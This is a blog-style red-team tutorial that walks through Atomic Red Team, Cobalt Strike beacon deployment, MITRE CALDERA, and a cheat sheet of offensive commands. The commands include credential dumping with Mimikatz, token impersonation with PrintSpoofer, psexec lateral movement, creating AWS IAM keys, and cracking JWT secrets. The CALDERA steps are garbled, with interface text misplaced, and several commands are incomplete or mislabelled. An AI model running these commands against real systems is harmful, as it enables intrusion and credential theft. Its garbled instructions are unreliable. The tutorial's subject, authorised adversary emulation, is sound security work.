Introduction:
Organizations are moving beyond basic compliance and embracing Red Teaming—a full-scope, multi-layered attack simulation designed to test people, networks, and physical security controls. Unlike standard penetration testing, Red Teaming measures how well an organization’s detection and response capabilities hold up against real-world adversaries. This article equips you with a battle‑tested arsenal: the essential tools, commands, training resources, and operational blueprints you need to plan, execute, and analyze modern Red Team operations.
Learning Objectives:
- Objective 1: Understand the strategic difference between Red Teaming and penetration testing, and learn how to scope a realistic adversary simulation.
- Objective 2: Master the installation and execution of core Red Team tools, including Atomic Red Team, Cobalt Strike, and MITRE CALDERA, with verified Linux/Windows commands.
- Objective 3: Build a repeatable Red Team exercise pipeline—from reconnaissance and adversary emulation to reporting and blue‑team gap analysis.
You Should Know:
1. Atomic Red Team – Hands‑On Adversary Emulation
Atomic Red Team is a library of small, focused tests mapped to MITRE ATT&CK that allows you to execute specific adversary behaviors on your endpoints.
Step‑by‑Step Guide (Linux / Windows):
Atomic Red Team uses PowerShell scripts on all platforms (PowerShell Core required for Linux/macOS). The following steps are based on official documentation.
1. Installation: On Windows (PowerShell as admin):
Install-Module -Name AtomicRedTeam -Force
On Linux (after installing PowerShell Core):
pwsh Install-Module -Name AtomicRedTeam -Force
2. List Available Tests: To view all techniques with their supported platforms:
Get-AtomicTechnique
3. Run a Specific Attack Technique: For example, execute T1136.001 (Create Local Account) on Linux (requires root):
sudo pwsh Import-Module AtomicRedTeam Invoke-AtomicTest T1136.001 -TestNumbers 1
The command creates a local user via useradd -m evil_user. To verify:
cat /etc/passwd | grep evil_user
4. Execute on Windows (net user /add):
Invoke-AtomicTest T1136.001 -TestNumbers 1 -InputArgs @{username="red_user"}
5. Cleanup: Each test includes a cleanup command that automatically removes the created artifacts (e.g., deletes the user).
What this teaches you: Atomic tests are perfect for validating a single detection rule or confirming that a specific adversary behavior is blocked. Use them to baseline your EDR and SIEM before a full Red Team exercise.
- Cobalt Strike – Command & Control for Realistic Operations
Cobalt Strike is the industry‑standard C2 framework for advanced threat emulation. Its Beacon payload provides asynchronous, stealthy communication and a vast array of post‑exploitation modules.
Step‑by‑Step Guide to Deploying a Beacon Payload:
1. Start Team Server (Linux attack host):
cd /opt/cobaltstrike ./teamserver 192.168.1.100 MyP@ssw0rd
2. Connect from Cobalt Strike Client: Launch the client and connect to the team server IP.
3. Create a Listener: Navigate to Cobalt Strike → Listeners → Add. Choose HTTP Beacon, set port 80, and note the host.
4. Generate a Stageless Windows Executable: Go to Attacks → Packages → Windows Executable (S). Select the listener and output as an EXE.
5. Execute Payload on Target (Windows): Run the generated EXE. On the target, you can manually execute or use:
\remote_share\beacon.exe
6. Interact with Beacon: In the Cobalt Strike console, you will see a new session. Interact and issue commands:
beacon> help beacon> shell whoami beacon> getuid beacon> upload /path/to/linux-exploit beacon> execute-assembly /path/to/SharpHound.exe
7. Establish Persistence (via SMB Beacon): For internal lateral movement, generate an SMB Beacon:
beacon> jump psexec target-hostname smb-listener
OPSEC Note: Stageless payloads are generally stealthier than staged ones. Use custom malleable C2 profiles to blend traffic with normal HTTP/HTTPS.
3. MITRE CALDERA – Automated Adversary Emulation Platform
CALDERA is an open‑source tool that automates breach and attack simulations. It executes complete adversary profiles (e.g., APT29) against live agents.
Step‑by‑Step Installation and Operation:
1. Installation on Ubuntu (Linux):
git clone --recursive https://github.com/mitre/caldera.git cd caldera pip install -r requirements.txt
2. Start the Server:
python3 server.py --build
3. Access Web UI: Navigate to https://localhost:8888`. Log in as `red` /admin.Agents → Click here to deploy an agent
4. Deploy an Agent (Sandcat): In the UI, go to. Select the Sandcat agent. Copy the generated command (e.g., a PowerShell one‑liner) and paste it on the target Windows machine.Operations → Add Operation
5. Choose an Adversary Profile: Go to `Adversaries` and select a built‑in profile like “Discovery” or “Hunter”.
6. Run an Operation: Go to. Name it, select the group containing your agent, pick the adversary profile, and clickStart`.
7. Review Results: The UI shows each ability (TTP) executed along with its output. You can export a JSON report for later analysis.
What this teaches you: CALDERA not only tests endpoint security but also assesses the blue team’s ability to detect multi‑step attack chains. It can be run in purple team mode for collaborative detection tuning.
- Red Teaming Tool Arsenal – Essential Commands for Linux & Windows
Beyond frameworks, real‑world operations require a blend of reconnaissance, privilege escalation, and lateral movement tools. Below are verified commands for common scenarios.
Reconnaissance (Linux):
- Port scanning (nmap): `nmap -sV -sC -O 192.168.1.0/24`
– SMB enumeration (enum4linux): `enum4linux -a 192.168.1.10`
– Web directory brute‑forcing (gobuster): `gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt`
Privilege Escalation (Linux):
- Automated enumeration (LinPEAS): `./linpeas.sh` (transfer to target and run)
- Sudo misconfigurations: `sudo -l` (list allowed commands)
- SUID binaries: `find / -perm -4000 2>/dev/null`
Reconnaissance (Windows):
- Network shares discovery: `net view \\target-ip`
– Active Directory enumeration (PowerShell): `Get-ADUser -Filter -Properties `
– BloodHound data collector (SharpHound): `SharpHound.exe -c All`
Privilege Escalation (Windows):
- Automated enumeration (WinPEAS): `winpeas.exe` (run on target)
- Token impersonation (if SeImpersonatePrivilege): `PrintSpoofer.exe -i -c cmd.exe`
– Mimikatz (credential dumping): `mimikatz.exe “privilege::debug” “sekurlsa::logonPasswords” exit`
Lateral Movement (Windows):
- PsExec style via Impacket (Linux): `psexec.py domain/user:pass@target-ip`
– WMI execution (PowerShell): `Invoke-WmiMethod -ComputerName target -Class Win32_Process -Name Create -ArgumentList “calc.exe”`
- Cloud Hardening & API Security for Red Teams
Modern Red Team operations must include cloud infrastructure. Tools like Caldera can emulate cloud‑based adversary behaviors, and dedicated frameworks like Pacu (for AWS) or ScoutSuite (for misconfigurations) are essential.
Step‑by‑Step Cloud Red Team Technique (IAM privilege escalation):
1. Enumerate IAM Roles (AWS CLI):
aws iam list-roles aws iam list-attached-role-policies --role-name TargetRole
2. Create an Access Key for a Privileged Role:
aws iam create-access-key --user-name vulnerable-user
3. Simulate a Stealthy Exfiltration (using CALDERA cloud plugin): The Caldera “AWS” plugin can execute abilities like `aws.ec2.create_security_group` to test network perimeter rules.
API Security Testing (REST API exploitation):
- Intercept and modify requests (Burp Suite): Set up Burp as a proxy, capture a privileged API call, and replay it with altered parameters to test for IDOR.
- Automated fuzzing (ffuf):
ffuf -u https://api.target.com/v1/user/FUZZ -w id_list.txt -fc 404
- JWT attacks (cracking weak secrets): `hashcat -a 0 -m 16500 jwt.txt rockyou.txt`
What Undercode Say:
- Key Takeaway 1: Red Teaming is not just a technical exercise; it is a strategic validation of people, processes, and technology. The distinction between pen testing and red teaming is critical—pen tests find vulnerabilities, while red teams test detection and response.
- Key Takeaway 2: Automation is your force multiplier. Platforms like MITRE CALDERA allow you to execute complex adversary profiles continuously, while Atomic Red Team provides granular control for validating specific controls. Combining these with manual TTPs yields the most realistic and insightful simulations.
Analysis: The resources curated in the original post reveal a clear trend: the community is moving toward open, repeatable, and documented Red Team processes. The availability of free training, cheat sheets, and GitHub repositories (like A-poc’s RedTeam-Tools and the RedTeaming_CheatSheet) lowers the barrier to entry for aspiring red teamers. However, the challenge remains in bridging the gap between tool usage and operational reality—knowing which commands to run is not enough; one must understand how to evade, adapt, and remain undetected. The emphasis on continuous automated red teaming (IBM) and adversary mindset newsletters signals a maturation of the field, where periodic point‑in‑time tests are being replaced by ongoing, realistic threat emulation.
Expected Output:
Prediction:
By 2026, Red Team operations will become fully integrated with AI‑driven orchestration. CALDERA and similar platforms will leverage LLMs to generate novel attack chains on the fly, drastically reducing the time from reconnaissance to exploitation. Simultaneously, defensive teams will adopt autonomous “Blue” agents that proactively hunt and respond to red team TTPs in real time. This will lead to a new equilibrium where static rules and signatures are obsolete, and only continuous, mutual learning between human red and blue teams will determine who prevails. The demand for professionals who can design, execute, and analyze these automated adversary simulations will skyrocket, making the training and cheat sheets shared today the foundation of tomorrow’s cybersecurity workforce.
